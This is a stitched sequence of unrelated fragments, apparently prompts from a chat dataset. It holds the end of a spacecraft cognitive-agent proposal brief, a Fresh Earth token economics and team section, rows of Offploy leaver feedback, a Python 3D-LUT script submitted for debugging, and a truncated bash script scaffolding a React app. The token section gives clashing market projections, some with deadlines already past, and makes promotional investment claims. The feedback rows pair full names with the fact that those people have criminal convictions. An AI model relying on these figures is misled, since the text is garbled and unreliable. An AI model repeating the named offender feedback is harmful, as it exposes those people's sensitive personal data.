teach/learn certain operations). Agents like this (with functionality appropriate to the given task) would be needed to perform a variety of roles in the spacecraft, including low-level tasks like state estimation, hardware control, and subsystem management and high-level tasks like mission planning and scheduling. Agents with independent responsibilities will furthermore need to be managed and coordinated to enable functional and resilient overall operations.\n\nThe following (nonexhaustive) list of managers provides capabilities useful for a wide variety of spacecraft cognitive agents:\nState estimation manager (SEM): This manager’s capabilities include extracting information from sensors, including images, for use by other managers and by crew. State estimation includes separating signal from noise in sensor data, extracting and compressing useful information, along with fault management and prognostics. The state estimation manager must categorize information on both vehicle-wide and subsystem-by-subsystem bases, including crew health and performance, security, and scientific objectives.\nSkill/behavior manager (SBM): This manager orchestrates execution of individual tasks on short timescales. This involves incorporating specialized knowledge needed for different tasks, e.g., orbit/trajectory planning, robotics operations, spacecraft subsystem control. The skill/behavior manager includes a "smart executive" that robustly executes high-level plans produced by the planner/scheduler manager, on schedule, by coordinated commanding of multiple subsystems.\nPlanner/scheduler manager (PSM): This manager creates and updates plans and schedules that accomplish goals. This functionality involves maintaining lists of goals, priorities for achieving those goals, and spacecraft and mission-wide constraints.\nKnowledge manager (KM): This manager ensures that the system\'s declarative knowledge is consistent and updated, including the incorporation of learned knowledge. Learning and modeling techniques capture system and operational knowledge from different types of knowledge sources; these must be incorporated into existing knowledge bases. \nHuman-machine interactions manager (HMIM) - Natural Language Processing (NLP), Extended Reality (XR): This manager enables multimodal interface/communications with the crew about the current and future state of the systems. This manager must communicate information from all other managers.\n\nWell-constructed proposals will focus on developing a prototype cognitive agent(s) in the context of a limited test. This agent will need to embody a cognitive architecture that can be readily applied to a wide variety of roles and tasks throughout a mission that embodies the desired capabilities of autonomous and semi-autonomous operations, modifiable and/or learned behaviors, data/model fusion for decision-making under uncertainty, advanced user interaction, and assurance/transparency. This architecture could then be able to be extended to a wider scope in a more advanced mission in future phases of the project. This project and the agent architecture will need to be thoroughly documented and demonstrated to enable the understanding (e.g., capabilities and limitations) of this technology.\n\nDesired Deliverables Description:\n\nThe expectation is to develop (1) a preliminary cognitive architecture with trades study/requirements analysis supporting the selection of the architecture in a desired mission (e.g., Human Exploration of Mars Design Reference Mission: Human Exploration of Mars Design Reference Architecture 5.0), (2) early feasibility prototypes of architecture features and conceptual description (e.g., in SysML) for a cognitive agent(s) in that mission, and (3) a detailed implementation plan for full architecture with technical risks identified and managed.\n\nNow please generate a chapter with the following title "Identification and Significance of the Innovation".' -"FET continued; Token Economics\n\nThe Fresh Earth ecosystem aims to have a significant impact on the environment, society and economy by promoting regenerative agriculture and sustainable food systems, using key performance indicators to measure and validate this impact, and by fostering collaboration, innovation and best practices among stakeholders.\n\nEconomic Model\n\nThe Fresh Earth Token is a verifiable science and technology-based token that measures the impact of regenerative practices using KPIs such as carbon sequestration, biodiversity, water retention, reduction in chemical use, and an increase in the quality of food. This ensures that the ecosystem's activities are having a real and measurable impact on the environment and society.\n\nAdditionally, the Fresh Earth ecosystem promotes collaboration and knowledge-sharing among its stakeholders, fostering innovation and best practices in regenerative agriculture. This helps to accelerate the adoption of regenerative practices and improve the overall impact of the ecosystem. By connecting farmers on the regenerative pathway with consultants, suppliers, funding and markets the ecosystem helps to reduce costs and risks for farms, and allows businesses and consumers to access verified, locally developed regenerative food products directly from the designers, manufacturers, and producers.\n\nThe Fresh Earth Token leverages additional external funding from government schemes such as emissions trading schemes and carbon trading futures to further drive the regeneration and growth of the ecosystem. This model is aligned with the growing consumer trend towards sustainable and regenerative food systems, as well as addressing the urgent need to address climate change and food security.\n\nThe efficiency of farmers converting land to regenerative farms is supported by the fact that regenerative farming practices not only improve the health of the soil, but also lead to higher crop yields, increased resilience to climate change, and improved water retention. Consumer demand for regenerative food further drives the growth of the ecosystem, as farmers respond to the market demand by converting more land to regenerative practices.\n\nThe economic system that underpins this project is based on creating value from the verified impact KPIs, and redistributing it in the current ecosystem through the use of existing economic modeling systems that are recognized. Research suggests that regenerative agriculture can improve the profitability of farmers by reducing input costs, improving crop yields, and increasing resilience to climate change.\n\nIn this unique economic model the Token represents fractional ownership of a decentralized autonomous organization (DAO) that manages the food ecosystem business, allowing investors to participate in the growth and success of the ecosystem and share in the value generated.\n\nInvesting in the Fresh Earth token not only allows individuals and organizations to financially benefit from the growth of the ecosystem but also play a role in creating a more sustainable and regenerative food system for the planet and society. Examples of companies that have implemented similar models and have seen success include Patagonia Provisions, Danone, and Mars. \n\nValuation Logic of the Fresh Earth Token:\n\nThe regenerative food market is expected to reach $4.5 billion by 2022, growing at a CAGR of 16.2%.\n\nThe Regenerative Agriculture Association cites that regenerative agriculture can lead to a 30% reduction in greenhouse gas emissions, while also increasing biodiversity and improving soil health.\n\nStudies have shown that regenerative agriculture can sequester carbon at rates of 0.4% to 0.9% per year, while also improving soil health, water retention, and crop yields.\n\nThere are economic incentives for farmers to adopt regenerative practices such as government subsidies and carbon offset markets.\n\nMonetizing the Fresh Earth Token: Economic Models and Funding Opportunities\n\nThe Fresh Earth Token, through its ability to measure and verify impact in its KPIs and the use of deep scientific data on regenerative farms and practices, is able to access funding from various markets. This includes:\n\nCarbon Offsetting: The global carbon offset market is valued at $189 billion and is projected to reach $531 billion by 2027. The token's ability to register, facilitate, monitor and validate verified carbon sequestration projects and sell them to companies and organizations to offset their carbon emissions provides a major source of revenue. Part of that revenue will go to the farmer or project, and part (~20%) wll be retained by Fresh Earth for services provided.\n\nBiodiversity, water retention and other benefits: Regenerative farming practices that store carbon in the soil bring many concomitant benefits, such as increased fertility, water retention and food nutrient density. Regenerative oractises can also target other regenerative and ESG outcome such as biodiversity and animal welfare. At an early stage these provide ESG value, and eventually, first on social markets and eventually government mandated markets, many of these will monetizable - see below.\n\nPay for Performance: The pay for performance market is valued at $2 billion and is projected to reach $8 billion by 2022. The token's ability to measure and verify specific environmental and social outcomes, such as reducing emissions and increasing energy efficiency, allows for the token to be used as a reward for companies and organizations that meet certain goals.\n\nImpact Investing: The impact investing market is valued at $502 billion and is projected to reach $913 billion by 2020. The token's ability to generate measurable social and environmental impact alongside financial returns allows impact investors to invest in projects such as regenerative farming practices.\n\nCommunity-based financing: The community-based financing market is valued at $6.1 billion and is projected to reach $11.9 billion by 2022. The token's ability to provide funding for sustainable development projects, such as renewable energy and sustainable agriculture, allows for communities to directly invest in and benefit from these projects.\n\nRegenerative Agriculture Financing: The regenerative agriculture financing market is valued at $3 billion and is projected to reach $9 billion by 2025. The token's ability to provide financing for farmers to adopt regenerative farming practices, such as cover cropping, agroforestry, and holistic grazing, allows for the growth and success of the regenerative agriculture industry.\n\nWater Rights Trading: The water rights trading market is valued at $11 billion and is projected to reach $22 billion by 2025. The token's ability to measure and verify water usage and conservation efforts allows for farmers to trade water rights and optimize water usage, reduce waste, and improve water quality.\n\nBiodiversity Offsets: The biodiversity offset market is valued at $1 billion and is projected to reach $3 billion by 2025. The token's ability to measure and verify conservation projects that protect or restore biodiversity allows companies to offset the loss of biodiversity caused by their activities.\n\nEcosystem Services Markets: The ecosystem services market is valued at $6 billion and is projected to reach $12 billion by 2025. The token's ability to measure and verify practices that provide ecosystem services, such as carbon sequestration, water purification, and pollination, allows companies to purchase credits from farmers and landowners that are implementing these practices.\n\nConservation Easements: The conservation easements market is valued at $3 billion and is projected to reach $5 billion by 2025. The token's ability to measure and verify land use practices that protect important ecological areas and biodiversity allows for landowners to restrict the development of their land in exchange for financial compensation.\n\nBenefit-sharing agreements: The benefit-sharing agreements market is valued at $2 billion and is projected to reach $4 billion by 2025. The token's ability to measure and verify conservation and sustainable land use practices, such as carbon sequestration, water purification, and pollination, allows local communities to share in the benefits of these practices.\n\nCommunity Land Trusts: The community land trusts market is valued at $2 billion and is projected to reach $4 billion by 2025. The token\n\n7. Team\n\nA. Overview of the Fresh Earth team\n\nThe Fresh Earth team is a group of dedicated individuals with a passion for creating a more sustainable and equitable food system. The team is composed of experts in regenerative agriculture, blockchain technology, marketing, and environmental science. With a combined experience of over 100 years, the Fresh Earth team is well-equipped to deliver on their mission.\n\nB. Team members\n\nLuke Makepeace - Co-Founder and CEO. A serial entrepreneur with 20 years of experience in developing complex ecosystems including a regenerative commerce ecosystem and a distributed generation modelling ecosystem for optimization of power grids.\n\nMike McCosker - Co-Founder and Chief of Regenerative Farming. A fourth-generation farmer with 30+ years of experience in regenerative agriculture.\n\nBen Nott - Co-Founder and CMO. Founder of World Wide Mind and winner of over 100 international Creative Advertising and Film Directing awards.\n\nDr. Paul Taylor, PhD - Co-Founder and Chief of Science. A published scientific research author specializing in Agriculture and Environmental science.\n\nShaun McLean - CTO. An innovative entrepreneur and experienced software developer with a strong background in blockchain technology and web3 development. With 20+ years of experience as a technology professional, this individual has a proven track record of providing the crucial bridge between business, marketing, customer, and technology teams. He has led the development of several decentralized applications and understands the technical requirements and considerations for building a decentralized platform like Fresh Earth.\n\nDave Dawson - Head of Enterprise & Institutional Relationships. A business strategy expert.\n\nRussell Rankin - Innovation Specialist. Specializes in food innovation and connecting industry with research and government bodies." -'Leaver Feedback 19 10 10 Ked was helpful and kind Increase keds wages Applying for jobs online;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 20 10 9 The support that I received from Offploy helped me to come to terms with my fear of disclosing my convictions, thus helping me improve my confidence If all the workers at Offploy are as helpful as the girl I had, I do not think you need to try and improve Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 21 10 10 Meeting someone nice Keep up with the great work Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 22 10 10 Leah was brilliant, explained everything to me in detail. None. Everything is ok Creating a Disclosure Letter;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 23 10 10 They put you at ease and suggest helpful solutions to problems. Everything appears okay to me. Creating a Disclosure Letter;Creating a Cover Letter;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 24 10 1 BY LEAVING ME ALONE PLEASE Other nothing Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 25 10 10 I am not able to single out one thing that has helped me. I will state though that my coach, Carrie, was superb and couldn\'t have done more to assist me. Make sure that large meetings with presentations are accessible to all types of device, be it mobile phone, tablet or laptop. Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Creating a job-searching email account;Creating an online account with a jobs board;Applying for jobs online;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence;Other Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 26 10 10 Positivity. I cannot think of a thing. Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Easy after some support from my Social Employment Advisor Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 27 10 10 My Mentor Carrie, offered lots of support No need to improve other than to continue to getting more mentors to support more people Creating a Disclosure Letter;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence;Other Wellbeing Support Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 28 10 10 Encouragement Keep encouraging! Creating CV;Creating a Cover Letter;Improving my mindset towards achieving employment;Setting realistic goals for myself Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 29 10 7 talking longer Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Applying for jobs online;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 30 8 8 They didn\'t judge me due to the nature of my offence, and there help was second to none As of now no I don\'t think there is anything to improve on not to say that naturally people want to change thing. As they say if it not broken don\'t fix it Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 31 9 9 Helpful Be in my shoes Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Applying for jobs online;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 32 10 10 I found the way offploy listened to me and the advice very useful as i was in a low point in my life. Make the programme longer Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Creating a job-searching email account;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 33 10 8 The fact that someone is there to help and give a nudge when needed. Really not sure how. Creating CV;Creating a Cover Letter Challenging due to lack of access to a computer Offploy Candidate Leaver 19/01/2022 12:15\nLeaver Feedback 34 6 7 The CV building was most important for me as things change all the time and unless involved with programs I wouldn\'t have a clue Not sure I received the amount I needed Creating CV Very Easy Offploy Candidate Leaver 19/01/2022 12:15\nGraham Morrissey | Leaver Feedback Bhav G 1 1 Nothing. It was a waste of time Actually do something Very Easy Offploy Candidate Leaver 03/03/2023 11:21\nPaul Heal | Leaver Feedback Bhav G 10 10 New cc and discussions about disclosure More cake at meetings Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Creating a job-searching email account;Creating an online account with a jobs board;Applying for jobs online;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 01/09/2022 10:10\nGARY WEST | Leaver Feedback Bhav G 10 10 just having the extra support Creating CV;Improving my mindset towards achieving employment Easy after some support from my Social Employment Advisor Offploy Candidate Leaver 14/01/2022 11:05\nStacey Hughes | Leaver Feedback Carrie M 10 10 I couldn’t be more grateful for Carrie and Matt they helped me out in every aspect and more Nothing to improve Carrie and Matt even above and beyond for ne l Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Creating an online account with a jobs board;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 03/03/2023 23:16\nNicole Lawson | Leaver Feedback Carrie M 1 2 When I was first contacted, Offploy was under the impression I was a previous offender. I wasn’t referred to Offploy for this reason. Obviously the communication could be a lot better… Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Setting realistic goals for myself Very Easy Offploy Candidate Leaver 03/03/2023 16:02\nSalahuddin Nasratyar | Leaver Feedback Carrie M 9 7 Creating CV;Creating a Cover Letter;Creating a job-searching email account;Creating an online account with a jobs board;Applying for jobs online;Improving my mindset towards achieving employment Very Easy Offploy Candidate Leaver 03/03/2023 13:40\nJason Tuckwood | Leaver Feedback Carrie M 10 10 Help with job search and meeting face to face Creating CV;Improving my mindset towards achieving employment;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 14/12/2022 18:50\nRUSSELL COBURN | Leaver Feedback Carrie M 10 10 The personal support around my circumstances Very Easy Offploy Candidate Leaver 18/03/2022 22:17\nPETER GUEST | Leaver Feedback Carrie M 10 10 Easy to talk to Very Easy Offploy Candidate Leaver 18/03/2022 07:27\nJames Drinkell | Leaver Feedback Carrie M 10 10 The very patient adviser who was brilliant and gave me the confidence to apply for jobs. Longer support for certain clients who need extra support. Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Creating a job-searching email account;Applying for jobs online;Improving my mindset towards achieving employment;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 13/02/2022 09:24\nDavid Hatfield | Leaver Feedback Carrie M 8 6 disclosure letter if all these sort of agencies could work from the same book instead of giving conflicting advice to each other Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Improving my ability to disclose my offence Other all done by phone so it was simple Offploy Candidate Leaver 07/02/2022 11:04\nKirsty Rowe | Leaver Feedback Dave E 10 10 "Honest down to earth people who do as they say they will\nAlways made themselves available \nEasy to chat , gain confidence with" Keep doing as you are 😊 Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 02/11/2022 09:38\nGary Cassin | Leaver Feedback Dave E 10 10 everything was very useful and helpful i dont think that anything can improve Creating CV;Creating a Disclosure Letter;Applying for jobs online;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 30/10/2022 12:38\nCarrington Ryan | Leaver Feedback Dave E 10 10 The support from.,in particular Dave Ennis has been immeasurable I cannot find anything to out here that could enhance the support which has been there from the start of my journey. I would just like to say thank you to all and particularly to Dave, thank you for your encouragement and continual support. Carrington Ryan Very Easy Offploy Candidate Leaver 21/03/2022 08:40\nDominic Clark Ellingford | Leaver Feedback Heather H 10 10 Creating CV;Creating a Cover Letter;Improving my mindset towards achieving employment;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 08/07/2022 19:31\nNeil Terry | Leaver Feedback Heather H 10 10 From the beginning to the end there was no pressure put on me to talk or move forward unless I felt ready to do so, the conversations and workshops were a great help, my work coach heather was very understanding and easy to talk to and made me feel like I was talking to a friend and the advice that was given was thoroughly explained, heather is a credit to the company in my eyes and I don\'t know where I would be today without the help provided.. The support I received couldn\'t have been better, I am really grateful for all the effort that was put into the programme Creating CV;Creating a Disclosure Letter;Creating a Cover Letter;Creating a job-searching email account;Creating an online account with a jobs board;Applying for jobs online;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 11/01/2022 22:44\nDavid Young | Leaver Feedback Jess D 10 10 It helped me by raising my confidence that there are employers out there who will give me a chance. Creating a Disclosure Letter;Creating a Cover Letter;Improving my mindset towards achieving employment;Setting realistic goals for myself;Improving my confidence in answering interview questions;Improving my ability to disclose my offence Very Easy Offploy Candidate Leaver 08/12/2022 20:24\nI still have more to copy' -'Can you debug the code below:\n\nimport numpy as np\nimport imageio\nimport os\nimport matplotlib.pyplot as plt\nfrom scipy.interpolate import Rbf\nfrom scipy.interpolate import interp1d\nimport scipy.ndimage as ndimage\nfrom scipy.stats import norm\n\ndef get\\_images(image\\_folder):\n images = []\n for image\\_name in os.listdir(image\\_folder):\n image\\_path = os.path.join(image\\_folder, image\\_name)\n with open(image\\_path, \'rb\') as f:\n images.append(imageio.imread(f))\n return images\n\ndef get\\_average\\_rgb(image\\_path):\n image = imageio.imread(image\\_path)\n average\\_rgb = np.mean(image, axis=(0, 1)) / 255\n return average\\_rgb\n\ndef get\\_rgb\\_coordinates(image\\_folder):\n rgb\\_coordinates = []\n for image\\_name in os.listdir(image\\_folder):\n image\\_path = os.path.join(image\\_folder, image\\_name)\n average\\_rgb = get\\_average\\_rgb(image\\_path)\n rgb\\_coordinates.append(average\\_rgb)\n return np.array(rgb\\_coordinates)\n\ndef get\\_curve\\_input\\_output(source\\_channel, target\\_channel):\n source\\_histogram, \\_ = np.histogram(source\\_channel, bins=255, range=(0, 255), density=True)\n target\\_histogram, \\_ = np.histogram(target\\_channel, bins=255, range=(0, 255), density=True)\n cumulative\\_source\\_histogram = np.cumsum(source\\_histogram)\n cumulative\\_target\\_histogram = np.cumsum(target\\_histogram)\n input\\_values = cumulative\\_source\\_histogram \\* 255\n output\\_values = cumulative\\_target\\_histogram \\* 255\n return input\\_values, output\\_values\n\ndef create\\_curve(input\\_values, output\\_values):\n curve = interp1d(input\\_values, output\\_values, bounds\\_error=False, fill\\_value=(output\\_values[0], output\\_values[-1]))\n return curve\n\ndef apply\\_r\\_curve\\_transformation(source\\_grayscale, target\\_grayscale):\n source\\_images = get\\_images(source\\_grayscale)\n target\\_images = get\\_images(target\\_grayscale)\n\n for source\\_image, target\\_image in zip(source\\_images, target\\_images):\n source\\_r\\_channel = source\\_image[..., 0]\n target\\_r\\_channel = target\\_image[..., 0]\n input\\_values, output\\_values = get\\_curve\\_input\\_output(source\\_r\\_channel, target\\_r\\_channel)\n r\\_curve = create\\_curve(input\\_values, output\\_values)\n source\\_image[..., 0] = r\\_curve(source\\_r\\_channel)\n\ndef apply\\_g\\_curve\\_transformation(source\\_grayscale, target\\_grayscale):\n source\\_images = get\\_images(source\\_grayscale)\n target\\_images = get\\_images(target\\_grayscale)\n\n for source\\_image, target\\_image in zip(source\\_images, target\\_images):\n source\\_g\\_channel = source\\_image[..., 1]\n target\\_g\\_channel = target\\_image[..., 1]\n input\\_values, output\\_values = get\\_curve\\_input\\_output(source\\_g\\_channel, target\\_g\\_channel)\n g\\_curve = create\\_curve(input\\_values, output\\_values)\n source\\_image[..., 1] = g\\_curve(source\\_g\\_channel)\n\ndef apply\\_b\\_curve\\_transformation(source\\_grayscale, target\\_grayscale):\n source\\_images = get\\_images(source\\_grayscale)\n target\\_images = get\\_images(target\\_grayscale)\n\n for source\\_image, target\\_image in zip(source\\_images, target\\_images):\n source\\_b\\_channel = source\\_image[..., 2]\n target\\_b\\_channel = target\\_image[..., 2]\n input\\_values, output\\_values = get\\_curve\\_input\\_output(source\\_b\\_channel, target\\_b\\_channel)\n b\\_curve = create\\_curve(input\\_values, output\\_values)\n source\\_image[..., 2] = b\\_curve(source\\_b\\_channel)\n\ndef generate\\_3d\\_lut(source\\_folder, source\\_grayscale, target\\_folder, target\\_grayscale, lut\\_size, epsilon=1e-5, sigma=1, smoothing\\_on=False):\n source\\_rgb\\_coordinates = get\\_rgb\\_coordinates(source\\_folder)\n source\\_gray\\_coordinates = get\\_rgb\\_coordinates(source\\_grayscale)\n target\\_rgb\\_coordinates = get\\_rgb\\_coordinates(target\\_folder)\n target\\_gray\\_coordinates = get\\_rgb\\_coordinates(target\\_grayscale)\n source\\_coordinates = np.concatenate((source\\_rgb\\_coordinates, source\\_gray\\_coordinates), axis=0)\n target\\_coordinates = np.concatenate((target\\_rgb\\_coordinates, target\\_gray\\_coordinates), axis=0)\n\n # Perform 1st order transformation\n target\\_coordinates[:, 0] = apply\\_r\\_curve\\_transformation(source\\_coordinates[:, 0], target\\_coordinates[:, 0])\n target\\_coordinates[:, 1] = apply\\_g\\_curve\\_transformation(source\\_coordinates[:, 1], target\\_coordinates[:, 1])\n target\\_coordinates[:, 2] = apply\\_b\\_curve\\_transformation(source\\_coordinates[:, 2], target\\_coordinates[:, 2])\n\n # Create a 100x100x100 3D grid\n x = np.linspace(0, 1, lut\\_size)\n y = np.linspace(0, 1, lut\\_size)\n z = np.linspace(0, 1, lut\\_size)\n grid\\_x, grid\\_y, grid\\_z = np.meshgrid(x, y, z)\n\n # Flatten the grid for interpolation\n grid\\_x = grid\\_x.flatten()\n grid\\_y = grid\\_y.flatten()\n grid\\_z = grid\\_z.flatten()\n\n # Use the Rbf method for interpolation for red, green, and blue axis\n rbf\\_r = Rbf(source\\_coordinates[:, 0], source\\_coordinates[:, 1], source\\_coordinates[:, 2], target\\_coordinates[:, 0], epsilon=epsilon)\n rbf\\_g = Rbf(source\\_coordinates[:, 0], source\\_coordinates[:, 1], source\\_coordinates[:, 2], target\\_coordinates[:, 1], epsilon=epsilon)\n rbf\\_b = Rbf(source\\_coordinates[:, 0], source\\_coordinates[:, 1], source\\_coordinates[:, 2], target\\_coordinates[:, 2], epsilon=epsilon)\n target\\_rgb\\_values = np.array([rbf\\_r(grid\\_z, grid\\_x, grid\\_y), rbf\\_g(grid\\_z, grid\\_x, grid\\_y), rbf\\_b(grid\\_z, grid\\_x, grid\\_y)]).T\n\n #Guassian Smoothing\n if smoothing\\_on:\n target\\_rgb\\_values = ndimage.gaussian\\_filter(target\\_rgb\\_values, sigma)\n\n # Write LUT to file\n with open(file\\_path, "w") as f:\n f.write(f"# LUT size\\nLUT\\_3D\\_SIZE {lut\\_size}\\n\\n")\n for i, target\\_rgb in enumerate(target\\_rgb\\_values):\n f.write(f"{target\\_rgb[0]:.6f} {target\\_rgb[1]:.6f} {target\\_rgb[2]:.6f}\\n")\n\n #Plot the 3D LUT transformation\n fig = plt.figure()\n ax = fig.add\\_subplot(111, projection=\'3d\')\n ax.scatter(target\\_rgb\\_values[:, 0], target\\_rgb\\_values[:, 1], target\\_rgb\\_values[:, 2], c=\'r\', marker=\'o\')\n plt.show()\n\nsource\\_folder = r"D:\\Users\\Forrest\\Documents\\Python\\3D LUT\\ALEXA\\_INPUT\\COLORX"\ntarget\\_folder = r"D:\\Users\\Forrest\\Documents\\Python\\3D LUT\\FPE\\_TARGET\\COLORX"\n\nsource\\_grayscale = r"D:\\Users\\Forrest\\Documents\\Python\\3D LUT\\ALEXA\\_INPUT\\GRAYSCALEX"\ntarget\\_grayscale = r"D:\\Users\\Forrest\\Documents\\Python\\3D LUT\\FPE\\_TARGET\\GRAYSCALEX"\nfile\\_path = r"D:\\Users\\Forrest\\Documents\\Python\\3D LUT\\RBF\\_LUT\\RBF\\_with\\_Nick.cube"\nlut\\_size = 16\nsmooth\\_set =False\n\ngenerate\\_3d\\_lut(source\\_folder, target\\_folder, lut\\_size)' -"#!/bin/bash\n\n# Create React App with TypeScript template\nnpx create-react-app@latest my-app --template typescript\n\n# Change directory to project root\ncd my-app\n\n# Install required dependencies\nnpm install react-router-dom axios\n\n# Remove unnecessary files\nrm -f src/App.css src/App.test.tsx src/logo.svg src/reportWebVitals.ts\n\n# Create directories and files for components and pages\nmkdir -p src/components/HeroCard src/pages/HeroList src/pages/HeroProfile src/const src/contexts src/helper src/hooks\ntouch src/components/HeroCard/index.ts src/components/HeroCard/style.css src/pages/HeroList/index.ts src/pages/HeroList/style.css src/pages/HeroProfile/index.ts src/pages/HeroProfile/style.css src/const/index.ts src/contexts/index.tsx src/helper/index.tsx src/hooks/index.tsx\n\n# Write code for components and pages\ncat < src/components/HeroCard/index.ts\nimport React from 'react';\nimport { Link } from 'react-router-dom';\nimport style from './style.css';\n\ninterface Props {\n id: number;\n name: string;\n image: string;\n}\n\nconst HeroCard: React.FC = ({ id, name, image }) => {\n return (\n \n \n {name}\n \n );\n};\n\nexport default HeroCard;\nEOF\n\ncat < src/components/HeroCard/style.css\n.heroCard {\n display: inline-block;\n width: 200px;\n margin-right: 16px;\n margin-bottom: 16px;\n text-align: center;\n text-decoration: none;\n}\n\n.image {\n width: 100%;\n height: 200px;\n object-fit: cover;\n}\n\n.name {\n margin-top: 8px;\n font-size: 20px;\n font-weight: bold;\n}\nEOF\n\ncat < src/pages/HeroList/index.ts\nimport React, { useEffect, useState } from 'react';\nimport { Link } from 'react-router-dom';\nimport HeroCard from '../../components/HeroCard';\nimport { getHeroes } from '../../helper';\nimport style from './style.css';\n\nconst HeroList: React.FC = () => {\n const [heroes, setHeroes] = useState([]);\n\n useEffect(() => {\n getHeroes().then((data) => setHeroes(data));\n }, []);\n\n return (\n \n \n {heroes.map(({ id, name, image }) => (\n \n ))}\n \n \n Selected Hero: 1\n\n );\n};\n\nexport default HeroList;\nEOF\n\ncat < src/pages/HeroList/style.css\n.heroListPage {\n display: flex;\n flex-direction: column;\n align-items: center;\n padding-top: 32px;\n}\n\n.heroList {\n display: flex;\n flex-wrap: wrap;\n justify-content: center;\n margin-bottom: 32px;\n}\n\n.selectedHero {\n margin-top: 16px;\n font-size: 24px;\n font-weight: bold;\n color: #fff;\n background-color: #f00;\n padding: 8px 16px;\n border-radius: 4px;\n text-decoration: none;\n}\n\ncat < src/pages/HeroList/style.css\n\nEOF\n\ncat < src/pages/HeroProfile/index.ts\nimport React, { useEffect, useState } from 'react';\nimport { useParams } from 'react-router-dom';\nimport { getHeroProfile } from '../../helper';\nimport style from './style.css';\n\nconst HeroProfile: React.FC = () => {\nconst { heroId } = useParams<{ heroId: string }>();\nconst [profile, setProfile] = useState({});\nconst [points, setPoints] = useState(0);\n\nuseEffect(() => {\ngetHeroProfile(Number(heroId)).then((data) => {\nsetProfile(data);\nsetPoints(data.reduce((sum: number, { point }: any) => sum + point, 0));\n});\n}, [heroId]);\n\nconst handlePointChange = (index: number, delta: number) => {\nconst newProfile = [...profile];\nconst { point, ...rest } = newProfile[index];\nconst newPoint = point + delta;\nif (newPoint >= 0) {\nnewProfile[index] = { point: newPoint, ...rest };\nsetProfile(newProfile);\nsetPoints(points + delta);\n}\n};\n\nconst handleSave = () => {\nconst total = profile.reduce((sum: number, { point }: any) => sum + point, 0);\nif (total === points) {\n// send PATCH request to update hero profile\n} else {\nalert('The sum of points must be the same as the original value.');\n}\n};\n\nreturn (\nSelected Hero: {heroId}\n{profile.map(({ str, int, agi, luk }: any, index: number) => (\n\nSTR\n\n handlePointChange(index, -1)}>-\n{str}\n handlePointChange(index, 1)}>+\n))}\nTotal Points: {points}\n\nSave\n\n);\n};\n\nexport default HeroProfile;\nEOF\n\ncat < src/pages/HeroProfile/style.css\n.heroProfilePage {\ndisplay: flex;\nflex-direction: column;\nalign-items: center;\npadding-top: 32px;\n}\n\n.heroProfile {\ndisplay: flex;\nflex-direction: column;\nalign-items: center;\nborder: 1px solid #ccc;\nborder-radius: 4px;\npadding: 16px;\nmargin-top: 32px;\n}\n\n.stat {\ndisplay: flex;\nalign-items: center;\nmargin-bottom: 16px;\n}\n\n.statName {\nwidth: 80px;\nfont-size: 24px;\nfont-weight: bold;\n}\n\n.statValue {\ndisplay: flex;\nalign-items: center;\nmargin-left: 16px;\nfont-size: 24px;\n}\n\n.statValue button {\nmargin: 0 8px;\nfont-size: 24px;\nfont-weight: bold;\ncolor: 